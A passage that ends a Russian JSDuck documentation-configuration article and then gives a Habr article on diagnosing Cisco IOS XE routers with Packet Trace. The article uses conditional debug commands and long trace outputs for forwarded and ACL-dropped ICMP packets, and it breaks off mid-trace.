Конфигурация страницы руководства описывается в отдельном файле JSON. Для подключения к общей конфигурации документации, используется параметр `--guides`
```
{
"--title": "My Application Docs",
"--welcome": "path/to/my/welcome.html",
"--guides": "jsduck-guides.json",
...
}
```
Пример конфигурации руководства `jsduck-guides.json`
```
[
{
"title": "Руководство",
"items": [
{
"name": "config",
"url": "guides/config",
"title": "Настройка и запуск проекта",
"description": "Описание настройки и запуска проекта."
},
{
"name": "components",
"url": "guides/components",
"title": "Компоненты",
"description": "Использование компонентов."
}
]
}
]
```
Руководство имеет специальную структуру директорий. Для приведенного выше примера, структура выглядит следующим образом
```
somedir/
jsduck-guides.json
guides/
config/
README.md
icon.png
some-image.png
components/
README.md
icon.png
```
Каждая поддиректория содержит обязательный файл `README.md` (в формате Markdown), который описывает свой пункт в руководстве. Дополнительно можно размещать различные файлы и иконку `icon.png` для пункта руководства.
##### Страница с категориями
На официальном сайте страница выглядит [так](http://docs.sencha.com/extjs/4.2.1/#!/api).
По умолчанию эта страница доступна сразу. На ней выводится список всех задокументированных классов. Когда классов очень много, становится не удобно использовать данную страницу. Конечно же, ее тоже можно настроить для себя, так как вы считаете нужным. Отображайте классы по своему усмотрению и группируйте так, как вам удобно. Для этого необходимо создать специальный конфигурационный файл JSON и подключить его в основном конфиге JSDuck с помощью параметра `--categories`
```
{
"--title": "My Application Docs",
"--welcome": "path/to/my/welcome.html",
"--guides": "jsduck-guides.json",
"--categories": "jsduck-cat.json",
...
}
```
Пример `jsduck-cat.json`
```
[
{
"name": "MyApp base classes",
"groups": [
{
"name": "Application",
"classes": [
"MyApp .Application",
"MyApp .controller.Main",
"MyApp .view.Main"
]
},
{
"name": "View",
"classes": [
"MyApp .view.*.*"
]
},
{
"name": "Widgets",
"classes": [
"MyApp .widget.*"
]
},
...
]
},
...
]
```
#### Вместо заключения
В добавок к генератору JSDuck могу порекомендовать фреймворк для тестирования [Siesta](http://www.bryntum.com/products/siesta/). Возможно вам пригодится вот эта [статья](http://habrahabr.ru/post/189144/).` | https://habr.com/ru/post/214591/ | null | ru | null |
# Судьба пакета. Cisco IOS XE
Диагностику многих проблем на маршрутизаторе Cisco с операционной системой IOS XE можно начать с **Packet Trace**. Это трассировка обработки пакета внутри маршрутизатора, появившаяся не так давно. Ранее такой функционала был доступен только на межсетевых экранах ASA. Кто использовал packet-tracer на ASA, согласится – очень удобный инструмент. Теперь его аналог появился и на современных маршрутизаторах (ISR 4000, ASR, CSR).
Заметку я построю на живых примерах. Так проще получить представление о IOS-XE Packet Trace. Детали всегда можно найти на сайте вендора. Жаль, что там пока не много информации на этот счёт. По ходу нашего погружения вы поймёте, о чём я.
В качестве подопытного имеем маршрутизатор ISR 4000 (про специфику работы ISR 4000 и IOS XE я уже писал на [Хабре](https://habrahabr.ru/company/cbs/blog/303770/)). На нём настроен ряд технологий: статическая маршрутизация, PfR, PBR, трансляция адресов (NAT), межсетевой экран ZFW, ACL на интерфейсах, Flexible NetFlow, NBAR2, IPSec, GRE, VTI и прочее. Всё это сделает трассировку более насыщенной и приближённой к реальной эксплуатации.
Есть множество технологий и у каждой свой метод отладки. Чтобы не тратить время и сразу определить, где искать причину проблемы, как раз и пригодится Packet Trace.
Наблюдать будем за ICMP пакетом (echo request), отправленным с адреса 192.168.20.8 на 8.8.8.8.
**Активация трассировки** состоит из двух частей. Для начала запускаем условный отладчик (conditional debug). Именно в нём мы указываем, какие пакеты нас интересуют. В нашем случае это трафик, описываемый ACL 199 и поступающий на маршрутизатор через интерфейс GigabitEthernet0/0/0:
```
access-list 199 permit icmp host 192.168.20.8 host 8.8.8.8
debug platform condition interf GigabitEthernet0/0/0 ipv4 access-list 199 ingress
debug platform condition start
```
Условный отладчик используется не только для работы packet trace. Этот инструмент позволяет эффективно фильтровать лог-сообщения и сообщения отладчика (debug) на этапе их генерации. Мы можем задать условия и видеть записи, касающиеся только того, что нам нужно.
Далее включаем непосредственно packet trace. Указываем буфер и глубину трассировки. Минимально – 16 пакетов. Глубина: базовая (path-trace) или расширенная (fia-trace). В случае расширенной мы получим детальный вывод работы всех функций внутри процесса QFP. Именно он отвечает за передачу пакетов (datapath).
```
debug platform packet-trace packet 16 fia-trace
debug platform packet-trace enable
```
По сравнению с ASA packet-tracer синтаксис, конечно, не такой удобный.
ASA packet-tracer может сам генерировать пакеты для дальнейшей трассировки. IOS-XE Packet Trace этого делать не умеет. Для его работы, необходимо, чтобы пакет откуда-нибудь пришёл.
Команды для чистки хвостов. Пригодятся, когда со всем закончим.
```
no debug platform packet-trace enable
clear platform packet-trace statistics
clear platform condition all
```
Всё настроено. Запускаем пинг, чтобы нужный нам пакет прошёл через маршрутизатор.
Смотрим общий вывод по пакетам, попавшим в packet trace.
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/1.5 FWD
```
Он у нас один. Пришёл через интерфейс Gi0/0/0 и был передан дальше (состояние FWD) через Gi0/0/1.5.
**Смотрим трассировку его обработки**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 8
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
State : FWD
Timestamp
Start : 6495209991683323 ns (02/18/2017 11:59:43.176192 UTC)
Stop : 6495209991814307 ns (02/18/2017 11:59:43.176323 UTC)
Path Trace
Feature: IPV4 <=================
Input : GigabitEthernet0/0/0 <=================
Output : GigabitEthernet0/0/0 <=================
Source : 192.168.20.8 <=================
Destination : 8.8.8.8 <=================
Protocol : 1 (ICMP) <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 4960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 5280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 40160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 1440 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 236
cft_bucket_number : 566799
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8 <=================
tuple.dst_ip : 8.8.8.8 <=================
tuple.src_port : 61609 <=================
tuple.dst_port : 161 <=================
tuple.vrfid : 0
tuple.l4_protocol : ICMP <=================
tuple.l3_protocol : IPV4 <=================
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 236
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 226240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 66880 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 2560 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 236
cft_bucket_number : 566799
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 61609
tuple.dst_port : 161
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 236
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 21120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 119520 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 3840 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 236
cft_bucket_number : 566799
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 61609
tuple.dst_port : 161
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 236
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 40640 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR <=================
Lapsed time : 34720 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS <=================
Lapsed time : 2560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0 <=================
Output : GigabitEthernet0/0/1.5 <=================
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS <=================
Lapsed time : 4160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL
Lapsed time : 1280 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL
Lapsed time : 218880 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE
Lapsed time : 2560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e94 - IPV4_INPUT_IPOPTIONS_PROCESS
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac44 - IPV4_INPUT_GOTO_OUTPUT_FEATURE
Lapsed time : 4480 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e98 - IPV4_OUTPUT_VFR
Lapsed time : 1920 ns
Feature: ZBFW <=================
Action : Fwd <=================
Zone-pair name : in-out1 <=================
Class-map name : CM-FW_in-out <=================
Input interface : GigabitEthernet0/0/0 <=================
Egress interface: GigabitEthernet0/0/1.5 <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d70b28 - IPV4_OUTPUT_INSPECT
Lapsed time : 721760 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d77188 - MC_OUTPUT_GEN_RECYCLE
Lapsed time : 3680 ns
Feature: NAT <=================
Direction : IN to OUT <=================
Action : Translate Source <=================
Old Address : 192.168.20.8 00001 <=================
New Address : 87.87.87.87 00033 <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d7c390 - IPV4_NAT_OUTPUT_FIA
Lapsed time : 54880 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d85d30 - IPV4_OUTPUT_THREAT_DEFENSE
Lapsed time : 1600 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e9c - IPV4_VFR_REFRAG
Lapsed time : 960 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Output
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 238
cft_bucket_number : 566799
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 87.87.87.87
tuple.dst_ip : 8.8.8.8
tuple.src_port : 61609
tuple.dst_port : 161
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 238
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d8359c - IPV4_OUTPUT_STILE_CLR_TXT
Lapsed time : 137600 ns
Feature: IPSec <=================
Result : IPSEC_RESULT_DENY <=================
Action : SEND_CLEAR <=================
SA Handle : 0
Peer Addr : 8.8.8.8 <=================
Local Addr: 87.87.87.87 <=================
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d761ac - IPV4_OUTPUT_IPSEC_CLASSIFY
Lapsed time : 50560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e70 - IPV4_OUTPUT_SRC_LOOKUP_ISSUE
Lapsed time : 7040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81128eb0 - IPV4_OUTPUT_L2_REWRITE
Lapsed time : 7040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131e74 - IPV4_OUTPUT_SRC_LOOKUP_CONSUME
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81131ec4 - IPV4_OUTPUT_FRAG
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x81133e50 - IPV4_OUTPUT_DROP_POLICY
Lapsed time : 13600 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6d914 - IPV4_OUTPUT_FNF_FINAL
Lapsed time : 112800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113bb40 - MARMOT_SPA_D_TRANSMIT_PKT
Lapsed time : 41440 ns
```
Объём трассировки напрямую зависит от настроенных функций. Если бы у нас была только маршрутизация, данных было бы существенно меньше.
Часть названий понятна. Но присутствуют этапы, декодировать которые достаточно непросто. Документация вендора пока в этом плане не сильно помогает.
**Выделим наиболее интересные моменты**
1. Информация, идентифицирующая наш поток (flow) данных:
```
Feature: CFT
…
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 61609
tuple.dst_port : 161
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
```
Данные хранят в таблице CFT (Common Flow Table). Их используют технологии, которые оперируют в своей работе информацией о каждом потоке (Netflow, NBAR, PfR и пр.). Таблица CFT необходима, чтобы не хранить избыточную информацию.
2. Определение исходящего интерфейса:
Когда пакет только попал на маршрутизатор, исходящий интерфейс не определён. Подставляется входящий:
```
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
```
После того как определено, куда дальше слать пакет (выполнена функция маршрутизации), исходящий интерфейс меняется:
```
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 4160 ns
```
3. Данные об обработке пакета межсетевым экраном ZFW:
```
Feature: ZBFW
Action : Fwd
Zone-pair name : in-out1
Class-map name : CM-FW_in-out
Input interface : GigabitEthernet0/0/0
Egress interface: GigabitEthernet0/0/1.5
```
Мы сразу видим, между какими зонами проходил пакет, и в какой класс он попал. Это достаточно удобно, так как конфигурация ZFW зачастую очень запутана.
4. Информация о трансляции адресов:
```
Feature: NAT
Direction : IN to OUT
Action : Translate Source
Old Address : 192.168.20.8 00001
New Address : 87.87.87.87 00033
```
Адрес назначения в пакете был заменён на 87.87.87.87.
5. Так как на нашем маршрутизаторе настроен IPSec, будет отмечено, попал ли в него пакет:
```
Feature: IPSec
Result : IPSEC_RESULT_DENY
Action : SEND_CLEAR
SA Handle : 0
Peer Addr : 8.8.8.8
Local Addr: 87.87.87.87
```
Нет, не попал.
В трейсах представлено достаточно много дополнительной информации. Например, IPV4\_INPUT\_PBR сигнализирует о том, что пакет прошёл через PBR. Но информации, был ли применен PBR или пакет передан на обработку стандартным правилам маршрутизации, в этом разделе мы не найдём. В нашем случае пакет не попал под правила PBR. Запись IPV4\_INPUT\_TCP\_ADJUST\_MSS говорит о том, что на интерфейсе настроена команда ip tcp adjust-mss. При этом, как и в предыдущем примере, никаких деталей мы не получаем.
Большая часть информации, выводимой устройством, не представляет интереса. Однако ситуация будет меняться, когда с пакетом что-то пойдёт не так.
**Ситуация №1. Пакет отброшен ACL на входном интерфейсе**
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/0 DROP 8 (Ipv4Acl)
```
Пакет был отброшен (DROP), так как сработал ACL (Ipv4Acl).
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 35
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
State : DROP 8 (Ipv4Acl)
Timestamp
Start : 6515970748260480 ns (02/18/2017 17:45:43.568889 UTC)
Stop : 6515970748313558 ns (02/18/2017 17:45:43.568942 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 6560 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 5920 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 1440 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d8375c - STILE_LEGACY_DROP_EXT
Lapsed time : 3680 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b554 - INGRESS_MMA_LOOKUP_DROP_EXT
Lapsed time : 63040 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6e0f8 - INPUT_DROP_FNF_AOR_EXT
Lapsed time : 8320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc44 - INPUT_FNF_DROP_EXT
Lapsed time : 324800 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6e6c8 - INPUT_DROP_FNF_AOR_RELEASE_EXT
Lapsed time : 8320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81128ebc - INPUT_DROP_EXT <=================
Lapsed time : 1920 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL <=================
Lapsed time : 794240 ns
```
INPUT\_DROP\_EXT и IPV4\_INPUT\_ACL сообщают, что пакет был отброшен именно на входящем интерфейсе. Трейсы получились короткими, как жизнь пакета.
**Ситуация №2. Пакет отброшен ACL на исходящем интерфейсе**
```
cbs-4000#show platform packet-trace summary
Pkt Input Output State Reason
0 Gi0/0/0 Gi0/0/1.5 DROP 8 (Ipv4Acl)
```
И снова пакет не был передан (DROP) из-за ACL (Ipv4Acl). Теперь, правда, в качестве исходящего интерфейса фигурирует Gi0/0/1.5.
**Трассировка обработки пакета**
```
cbs-4000#show platform packet-trace packet 0
Packet: 0 CBUG ID: 33
Summary
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
State : DROP 8 (Ipv4Acl)
Timestamp
Start : 6515547984424423 ns (02/18/2017 17:38:40.479689 UTC)
Stop : 6515547984571057 ns (02/18/2017 17:38:40.479835 UTC)
Path Trace
Feature: IPV4
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Source : 192.168.20.8
Destination : 8.8.8.8
Protocol : 1 (ICMP)
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x8112bfbc - DEBUG_COND_INPUT_PKT
Lapsed time : 8320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e84 - IPV4_INPUT_SRC_LOOKUP_ISSUE
Lapsed time : 4320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e64 - IPV4_INPUT_DST_LOOKUP_CONSUME
Lapsed time : 3520 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4a140 - IPV4_INPUT_ACL
Lapsed time : 43360 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e88 - IPV4_INPUT_SRC_LOOKUP_CONSUME
Lapsed time : 960 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e68 - IPV4_INPUT_FOR_US_MARTIAN
Lapsed time : 1280 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x0000008c
input vrf_idx : 0
calling feature : STILE
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 5
cft_bucket_number : 1591662
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 57521
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 5
returned cft_error : 14
returned fid : 0x00000000
Feature: NBAR
Packet number in flow: N/A
Classification state: Final
Classification name: ping
Classification ID: [CANA-L7:479]
Number of matched sub-classifications: 0
Number of extracted fields: 0
Is PA (split) packet: False
TPH-MQC bitmask value: 0x0
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d83558 - IPV4_INPUT_STILE_LEGACY
Lapsed time : 222240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7b508 - IPV4_INGRESS_MMA_LOOKUP
Lapsed time : 67200 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d59618 - IPV4_INPUT_FME_PROCESS
Lapsed time : 2240 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000084
input vrf_idx : 0
calling feature : FNF
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 5
cft_bucket_number : 1591662
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 57521
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 5
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6dc84 - IPV4_INPUT_FNF_AOR_FIRST
Lapsed time : 22080 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d6d9d4 - IPV4_INPUT_FNF_FIRST
Lapsed time : 136320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x81131e8c - IPV4_INPUT_VFR
Lapsed time : 1280 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b660 - IPV4_INPUT_CENT_SMP_PROCESS
Lapsed time : 2560 ns
Feature: CFT
API : cft_handle_pkt
packet capabilities : 0x00000080
input vrf_idx : 0
calling feature : CENT
direction : Input
triplet.vrf_idx : 0
triplet.network_start : 0x01003f8e
triplet.triplet_flags : 0x00000000
triplet.counter : 5
cft_bucket_number : 1591662
cft_l3_payload_size : 40
cft_pkt_ind_flags : 0x00000000
cft_pkt_ind_valid : 0x00000931
tuple.src_ip : 192.168.20.8
tuple.dst_ip : 8.8.8.8
tuple.src_port : 443
tuple.dst_port : 57521
tuple.vrfid : 0
tuple.l4_protocol : ICMP
tuple.l3_protocol : IPV4
pkt_sb_state : 0
pkt_sb.num_flows : 0
pkt_sb.tuple_epoch : 5
returned cft_error : 14
returned fid : 0x00000000
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d4b62c - IPV4_INPUT_CENT_RC_PROCESS
Lapsed time : 40160 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d7ff70 - IPV4_INPUT_PBR
Lapsed time : 39520 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/0
Entry : 0x80d858d0 - IPV4_INPUT_TCP_ADJUST_MSS
Lapsed time : 1120 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x8113ac40 - IPV4_INPUT_LOOKUP_PROCESS
Lapsed time : 4320 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc88 - IPV4_INPUT_FNF_AOR_FINAL
Lapsed time : 1920 ns
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: OCE_TRACE
Type : OCE_ADJ_IPV4
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6d974 - IPV4_INPUT_FNF_FINAL
Lapsed time : 274240 ns
Feature: FIA_TRACE
Input : GigabitEthernet0/0/0
Output : GigabitEthernet0/0/1.5
Entry : 0x80d6dc8c - IPV4_INPUT_FNF_AOR_RELEASE
Lapsed time : 2400 ns
Feature: FIA_TRACE
